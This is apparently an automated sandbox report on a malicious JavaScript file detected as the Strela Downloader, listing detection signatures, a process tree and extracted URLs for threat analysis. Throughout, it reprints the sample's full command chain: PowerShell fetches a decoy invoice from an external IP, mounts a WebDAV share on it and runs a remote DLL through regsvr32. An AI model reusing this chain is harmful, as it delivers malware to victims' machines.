Edit tour

Windows Analysis Report
1515610719364115693.js

Overview

General Information

Sample name:	1515610719364115693.js
Analysis ID:	1587835
MD5:	30f85ad92f8deb53107255f2876b7ddc
SHA1:	d5de7ae6afa61338f13bab9fdf0caf92526ba2ee
SHA256:	4ed3dd717e6a27eb197e0f899762939ba6c88ca2e37aa0668238e8c868e3bb8a
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3416 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4808 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6036 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7436 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7656 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1772,i,4121100143196203925,16959727731007823552,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7464 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7552 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7724 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3416	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4808, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6036, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4808, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6036, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ProcessId: 3416, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 4808, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 4808, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 4808, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 4808, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 4808, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 4808, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ProcessId: 3416, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4808, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6036, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7464, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7552, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7724, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7464, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7552, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 4808, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1515610719364115693.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1515610719364115693.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000001.00000002.1272240303.0000020A4FEC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1362779004.000001C87B28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1362779004.000001C87B238000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1362779004.000001C87B26C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1362779004.000001C87B26C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-eT
Source: net.exe, 0000000D.00000002.1362779004.000001C87B238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/M
Source: net.exe, 0000000D.00000002.1362779004.000001C87B238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spaceV-
Source: svchost.exe, 0000000F.00000002.2566017497.000002080DA8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1362657478.000002080D8A0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3416, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
